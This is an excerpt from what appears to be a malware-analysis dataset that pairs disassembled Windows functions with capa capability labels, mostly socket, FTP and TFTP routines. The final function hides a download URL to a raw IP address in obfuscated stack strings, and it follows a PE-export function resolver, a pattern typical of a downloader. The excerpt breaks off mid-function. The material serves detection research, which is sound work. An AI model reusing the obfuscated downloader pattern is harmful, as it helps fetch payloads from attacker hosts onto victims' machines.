joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14008f870
Capabilities:
Resolve dns

Disassembly:
push rbx
push r12
push r13
push r14
push r15
sub rsp, 0x20
xor r13d, r13d
mov r12, r9
mov qword [r9], r13
mov ebx, r13d
lea r9, [rsp + 0x68]
mov r15d, r13d
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov r14d, eax
test eax, eax
jne 0x14008fa34
mov qword [rsp + 0x58], rsi
mov rsi, qword [rsp + 0x68]
mov qword [rsp + 0x60], rdi
test rsi, rsi
je 0x14008fa14
mov qword [rsp + 0x50], rbp
mov eax, dword [rsi + 4]
cmp eax, 2
jne 0x14008f8cd
lea ebp, [rax + 0xe]
jmp 0x14008f8d9
cmp eax, 0x17
jne 0x14008f981
lea ebp, [rax + 5]
cmp qword [rsi + 0x20], r13
je 0x14008f981
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x14008f981
cmp rax, rbp
jb 0x14008f981
mov ecx, Ordinal_50
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x14008f9bc
mov ecx, dword [rsi]
mov dword [rax], ecx
mov ecx, dword [rsi + 4]
mov dword [rax + 4], ecx
mov ecx, dword [rsi + 8]
mov dword [rax + 8], ecx
mov ecx, dword [rsi + 0xc]
mov dword [rax + 0xc], ecx
mov rcx, rbp
mov dword [rax + 0x10], ebp
mov qword [rax + 0x20], r13
mov qword [rax + 0x18], r13
mov qword [rax + 0x28], r13
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rdi + 0x20], rax
test rax, rax
je 0x14008f9ab
mov rdx, qword [rsi + 0x20]
mov r8, rbp
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rsi + 0x18]
test rcx, rcx
je 0x14008f96e
call qword [case.0x140072169.0]
mov qword [rdi + 0x18], rax
test rax, rax
je 0x14008f990
test rbx, rbx
cmove rbx, rdi
test r15, r15
je 0x14008f97e
mov qword [r15 + 0x28], rdi
mov r15, rdi
mov rsi, qword [rsi + 0x28]
test rsi, rsi
jne 0x14008f8c0
jmp 0x14008f9c2
mov rcx, qword [rdi + 0x20]
mov r14d, 8
call qword [str.6_v_]
mov rcx, rdi
call qword [str.6_v_]
jmp 0x14008f9c2
mov rcx, rdi
mov r14d, 8
call qword [str.6_v_]
jmp 0x14008f9c2
mov r14d, 8
mov rcx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x50]
test rcx, rcx
je 0x14008f9d7
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
test r14d, r14d
je 0x14008fa0f
test rbx, rbx
je 0x14008fa0a
mov rcx, qword [rbx + 0x20]
call qword [str.6_v_]
mov rcx, qword [rbx + 0x18]
call qword [str.6_v_]
mov rdi, qword [rbx + 0x28]
mov rcx, rbx
call qword [str.6_v_]
mov rbx, rdi
test rdi, rdi
jne 0x14008f9e1
mov rbx, r13
jmp 0x14008fa23
test rbx, rbx
jne 0x14008fa23
mov r14d, 0x2af9
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov rdi, qword [rsp + 0x60]
mov eax, r14d
mov rsi, qword [rsp + 0x58]
mov qword [r12], rbx
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rbx
ret

Function at 0x14008fef0
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
mov r9, rdx
mov r8, rcx
mov qword [rsp + 0x28], rbx
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
cmovbe rbx, rax
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x1400930e0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rcx
mov ebx, 1
mov edx, ebx
xor ecx, ecx
xor ebp, ebp
call qword [str.H_v_]
mov rdi, rax
test rax, rax
je 0x14009315d
nop word [rax + rax]
mov r8d, ebx
mov rdx, rdi
mov rcx, r14
mov rbp, rdi
mov esi, ebx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ebx, eax
test eax, eax
je 0x140093188
cmp ebx, esi
je 0x140093188
cmp ebx, 0x8000
ja 0x140093188
cmp ebx, esi
jb 0x140093183
mov edx, ebx
mov rcx, rdi
call qword [str.H_v_]
mov rdi, rax
test rax, rax
jne 0x140093120
mov rcx, rbp
call qword [str.6_v_]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov rax, rdi
jmp 0x140093168
mov rcx, rdi
jmp 0x140093160

Function at 0x140099560
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0xc0
mov rax, qword [0x1400e80c0]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rbp, qword [rcx + 0x4c8]
lea r8, [rsp + 0x20]
mov rsi, qword [rcx]
lea rdx, [rsp + 0x30]
mov rdi, rcx
mov dword [rsp + 0x20], 0x80
mov rcx, rbp
mov rbx, 0xffffffffffffffff
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x1400995da
lea r8, [rsp + 0x20]
mov dword [rsp + 0x20], 0x80
lea rdx, [rsp + 0x30]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_accept]
mov rbx, rax
mov rdx, rbp
mov rcx, rdi
call fcn.14007e430
mov rcx, rsi
cmp rbx, 0xffffffffffffffff
jne 0x1400995ff
lea rdx, str.Error_accept__ing_server_connect
call fcn.14007d7d0
lea eax, [rbx + 0x1f]
jmp 0x140099678
lea rdx, str.Connection_accepted_from_server_n
call fcn.14007d950
mov edx, 1
mov byte [rdi + 0x660], 0
mov rcx, rbx
mov qword [rdi + 0x4c8], rbx
call fcn.14008be30
mov byte [rdi + 0xb2c], 1
cmp qword [rsi + 0x728], 0
je 0x140099676
mov dl, 1
mov rcx, rsi
call fcn.14006d830
mov rcx, qword [rsi + 0x730]
mov r8d, 1
mov rdx, rbx
call qword [rsi + 0x728]
xor edx, edx
mov rcx, rsi
mov ebx, eax
call fcn.14006d830
test ebx, ebx
je 0x140099676
mov rcx, rdi
call fcn.140099b90
mov eax, Ordinal_46
jmp 0x140099678
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.1400b6870
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x14009a670
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
add rcx, 0xa00
cmp byte [rax + 0xf09], 0
jne 0x14009a695
cmp dword [rax + 0x9f8], 0
je 0x14009a6c1
mov r8, qword [rcx + 0x88]
test r8, r8
je 0x14009a6c1
lea rdx, str.MDTM__s
call fcn.1400b16c0
test eax, eax
jne 0x14009a6ce
mov dword [rbx + 0xab8], 0x12
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.14009b500
add rsp, 0x20
pop rbx
ret
Function at 0x14009ae80
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x1e0]
cmp dword [rax + 0x10], 0
je 0x14009aeb8
mov r8d, reloc.WS2_32.dll_listen
mov dword [rbx + 0xab8], 0xd
mov dl, 1
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.14009afd0
cmp byte [rcx + 0xf0e], 0
je 0x14009aed0
xor edx, edx
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.14009b9c0
cmp byte [rcx + 0xf11], 0
je 0x14009af71
mov r8, qword [rbx + 0xa88]
test r8, r8
jne 0x14009af2b
mov r8, qword [rcx + 0xc08]
test r8, r8
jne 0x14009af0e
cmp byte [rcx + 0xf0d], 0
lea rax, str.NLST
lea r8, str.LIST
cmovne r8, rax
lea rcx, [rbx + 0xa00]
lea rdx, str.PRET__s
call fcn.1400b16c0
test eax, eax
je 0x14009af61
add rsp, 0x20
pop rbx
ret
cmp byte [rcx + 0xf1d], 0
lea rcx, [rbx + 0xa00]
je 0x14009af51
lea rdx, str.PRET_STOR__s
call fcn.1400b16c0
test eax, eax
je 0x14009af61
add rsp, 0x20
pop rbx
ret
lea rdx, str.PRET_RETR__s
call fcn.1400b16c0
test eax, eax
jne 0x14009af7e
mov dword [rbx + 0xab8], 0x1d
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.14009b930
add rsp, 0x20
pop rbx
ret

Function at 0x14009b2c0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 0
je 0x14009b30d
cmp qword [rcx + 0xa88], 0
je 0x14009b30d
add rcx, 0xa00
lea rdx, str.REST__d
xor r8d, r8d
call fcn.1400b16c0
test eax, eax
jne 0x14009b317
mov dword [rbx + 0xab8], 0x1a
add rsp, 0x20
pop rbx
ret
add rsp, 0x20
pop rbx
jmp fcn.14009ae80
add rsp, 0x20
pop rbx
ret

Function at 0x14009b4a0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
add rcx, 0xa00
mov rax, qword [rbx]
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 1
jne 0x14009b4ec
mov r8, qword [rcx + 0x88]
test r8, r8
je 0x14009b4ec
lea rdx, str.SIZE__s
call fcn.1400b16c0
test eax, eax
jne 0x14009b4f9
mov dword [rbx + 0xab8], 0x17
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.14009b2c0
add rsp, 0x20
pop rbx
ret

Function at 0x14009b500
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov r9, qword [rcx]
cmp byte [r9 + 0xf1c], 0
je 0x14009b558
cmp qword [rcx + 0xa88], 0
je 0x14009b558
cmp byte [r9 + 0xf0b], 0
mov eax, 0x41
mov edx, 0x49
cmovne edx, eax
movsx eax, byte [rcx + 0xaa8]
cmp eax, edx
je 0x14009b558
mov rax, qword [r9 + 0x1e0]
mov r8d, reloc.WS2_32.dll_send
mov dword [rax + 0x10], 1
movzx edx, byte [r9 + 0xf0b]
jmp fcn.140099da0
jmp fcn.14009b4a0
Function at 0x14009b560
Capabilities:
Check http status code

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x30
xor ebx, ebx
lea eax, [rdx - 0xc8]
mov rdi, rcx
mov rcx, qword [rcx]
mov esi, r8d
cmp eax, 0x64
jb 0x14009b595
lea rdx, str.Couldnt_set_desired_mode
call fcn.14007d7d0
lea eax, [rbx + 0x11]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
cmp edx, 0xc8
je 0x14009b5ac
mov r8d, edx
lea rdx, str.Got_a__03d_response_code_instead_of_the_assumed_200_n
call fcn.14007d950
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], r14
cmp esi, 0x13
jne 0x14009b5c8
mov rcx, rdi
call fcn.14009b4a0
jmp 0x14009b6ff
cmp esi, 0x14
jne 0x14009b6e1
mov rsi, qword [rdi]
mov rbp, rbx
cmp dword [rsi + 0xba0], 2
jne 0x14009b649
mov rax, qword [rsi + 0x1e0]
mov rdx, qword [rax]
test rdx, rdx
je 0x14009b649
mov byte [rsp + 0x28], 1
lea r9, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov rcx, rsi
mov qword [rsp + 0x50], rbx
call fcn.140067340
test eax, eax
jne 0x14009b6ff
mov rcx, qword [rsp + 0x50]
lea edx, [rax + 0x2f]
call sub.VCRUNTIME140.dll_strrchr
test rax, rax
je 0x14009b63e
mov rbp, qword [rsp + 0x50]
mov ecx, 1
sub rax, rbp
cmovne rcx, rax
mov byte [rcx + rbp], bl
jmp 0x14009b649
mov rcx, qword [rsp + 0x50]
call qword [str.6_v_]
mov rdx, qword [rsi + 0xc08]
test rdx, rdx
jne 0x14009b66d
cmp byte [rsi + 0xf0d], bl
lea rax, str.NLST
lea rdx, str.LIST
cmovne rdx, rax
lea r8, [0x1400c9798]
test rbp, rbp
mov r9, r8
lea rax, reloc.WLDAP32.dll_Ordinal_32
cmovne r9, rbp
lea rcx, [0x1400bf630]
cmovne r8, rax
call fcn.14006b760
mov rcx, rbp
mov r14, rax
call qword [str.6_v_]
test r14, r14
jne 0x14009b6ac
lea ebx, [r14 + 0x1b]
jmp 0x14009b701
lea rcx, [rdi + 0xa00]
mov r8, r14
lea rdx, [0x1400d4284]
call fcn.1400b16c0
mov rcx, r14
mov esi, eax
call qword [str.6_v_]
test esi, esi
je 0x14009b6d5
mov ebx, esi
jmp 0x14009b701
mov dword [rdi + 0xab8], 0x1f
jmp 0x14009b701
cmp esi, 0x15
jne 0x14009b6ec
lea r8d, [rsi - 8]
jmp 0x14009b6f5
cmp esi, 0x16
jne 0x14009b701
lea r8d, [rsi - 8]
mov dl, 1
mov rcx, rdi
call fcn.14009afd0
mov ebx, eax
mov r14, qword [rsp + 0x60]
mov eax, ebx
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400a0ff0
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
cmp byte [rcx + 0xf1e], 0
movsxd r10, r9d
je 0x1400a1114
cmp r8d, 0xff
jne 0x1400a1051
lea eax, [r10 - 0xec]
cmp eax, 0x13
ja 0x1400a103b
lea r8, [0x140000000]
mov r9, qword [r8 + r10*8 + 0xc5970]
mov r8, rdx
lea rdx, str._s_IAC__s_n
add rsp, 0x38
jmp fcn.14007d950
mov r8, rdx
mov r9d, r10d
lea rdx, str._s_IAC__d_n
add rsp, 0x38
jmp fcn.14007d950
cmp r8d, 0xfb
jne 0x1400a1063
lea r9, str.WILL
jmp 0x1400a10a1
cmp r8d, 0xfc
jne 0x1400a1075
lea r9, str.WONT
jmp 0x1400a10a1
cmp r8d, 0xfd
jne 0x1400a1087
lea r9, [0x1400c6394]
jmp 0x1400a10a1
xor r9d, r9d
lea rax, str.DONT
cmp r8d, 0xfe
cmove r9, rax
test r9, r9
je 0x1400a10fd
cmp r10d, 0x27
jg 0x1400a10d4
lea r8, [0x140000000]
mov r8, qword [r8 + r10*8 + 0xc5f90]
test r8, r8
jne 0x1400a10e4
mov r8, rdx
mov dword [rsp + 0x20], r10d
lea rdx, str._s__s__d_n
call fcn.14007d950
add rsp, 0x38
ret
cmp r10d, 0xff
jne 0x1400a10bb
lea r8, str.EXOPL
mov qword [rsp + 0x20], r8
mov r8, rdx
lea rdx, str._s__s__s_n
call fcn.14007d950
add rsp, 0x38
ret
mov r9d, r8d
mov dword [rsp + 0x20], r10d
mov r8, rdx
lea rdx, str._s__d__d_n
call fcn.14007d950
add rsp, 0x38
ret

Function at 0x1400a1460
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, qword [rcx]
mov edi, r8d
mov esi, edx
mov byte [rax + 0x10], 0xff
xor r9d, r9d
mov byte [rax + 0x11], sil
mov rbx, rcx
mov byte [rax + 0x12], dil
mov rcx, qword [rcx + 0x4c0]
lea rdx, [rax + 0x10]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400a14bf
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14007d7d0
mov rcx, qword [rbx]
lea rdx, str.SENT
mov r9d, edi
mov r8d, esi
call fcn.1400a0ff0
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x1400a1670
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x1400a1818
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x1400a16d5
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x1400a16d5
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x1400a16d5
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x1400a170c
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x1400a1762
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400a1762
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400a1762
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400a1762
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400a1762
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.1400a1120
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x1400a17c4
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14007d7d0
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.1400a14f0
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400a1810
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14007d7d0
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x1400a2f80
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x1400e80c0]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x1400a3015
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x1400a3076
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.14007d7d0
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400b6870
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x1400a3131
sub ecx, 1
je 0x1400a31a4
sub ecx, 1
je 0x1400a30e0
cmp ecx, 1
je 0x1400a30c3
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x1400d4284]
call fcn.14007d7d0
jmp 0x1400a31a4
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.1400a2cb0
test eax, eax
je 0x1400a31a4
jmp 0x1400a304a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400a31a4
sub rax, rsi
cmp rax, rbp
jae 0x1400a31a4
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.14007d950
jmp 0x1400a31a4
cmp r8d, 4
jle 0x1400a31a4
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x1400a31a4
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.14007d6f0
mov esi, eax
test eax, eax
je 0x1400a3183
mov edx, 5
mov rcx, rbx
call fcn.1400a3c70
mov eax, esi
jmp 0x1400a304a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.14008c0a0
mov rcx, r14
call fcn.14008c380
test eax, eax
je 0x1400a3048
mov edx, 5
mov rcx, rbx
call fcn.1400a3c70
mov eax, Ordinal_46
jmp 0x1400a304a
Function at 0x1400b5f40
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400b5f82
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400b5fc9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400b6022
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400b5fe0
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400b6063
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400c9532]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400c9533]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400b6030
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400b6088
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1400b60c2
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1400b60c7
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400b6110
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x1400b6110
dec r8
sub rdx, 1
jne 0x1400b60f6
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x1400b77a8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400b77f2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400b77f2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400b77f2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400b77f2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400b77f2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400b77f4
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
movsxd rax, dword [rcx + 0x3c]
xor r8d, r8d
mov r10, rcx
mov edx, dword [rax + rcx + 0x88]
add rdx, rcx
mov r11d, dword [rdx + 0x1c]
mov ebx, dword [rdx + 0x20]
mov ebp, dword [rdx + 0x24]
mov r9d, dword [rdx + 0x18]
add r11, rcx
add rbx, rcx
add rbp, rcx
test r9, r9
je 0x140001076
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movzx eax, word [rbp + r8*2]
mov esi, dword [rbx + r8*4]
lea rdi, [0x1400094f0]
mov eax, dword [r11 + rax*4]
add rsi, r10
mov ecx, 0xf
add rax, r10
repe cmpsb byte [rsi], byte [rdi]
je 0x14000106c
inc r8
cmp r8, r9
jb 0x140001040
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
mov rbx, qword [rsp + 0x20]
pop rbp
ret

Function at 0x1400012d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push r13
lea rbp, [rsp - 0x4f]
sub rsp, 0x88
mov rax, qword [0x14000b050]
xor rax, rsp
mov qword [rbp + 0x3f], rax
xor r13d, r13d
lea r8, [rbp - 9]
lea rdx, [rbp - 1]
lea rcx, [rbp + 0xf]
mov dword [rbp + 0xf], 0x740068
mov dword [rbp + 0x13], 0x700074
mov dword [rbp + 0x17], 0x2f003a
mov dword [rbp + 0x1b], 0x38002f
mov dword [rbp + 0x1f], 0x31002e
mov dword [rbp + 0x23], 0x380033
mov dword [rbp + 0x27], 0x32002e
mov dword [rbp + 0x2b], 0x2e0034
mov dword [rbp + 0x2f], 0x330032
mov dword [rbp + 0x33], 0x2f0033
mov dword [rbp + 0x37], 0x610074
mov dword [rbp + 0x3b], 0x74
mov qword [rbp - 1], r13
mov dword [rbp - 9], r13d
call fcn.140001080
test al, al
jne 0x140001385
lea r9d, [r13 + 0x10]
lea r8, str.Error
lea rdx, str.Failed_to_download_the_file_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea eax, [r13 + 1]
jmp 0x140001461
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0xb0], rdi
mov qword [rsp + 0x80], r12
call fcn.140001480
mov rcx, qword [rax + 0x40]
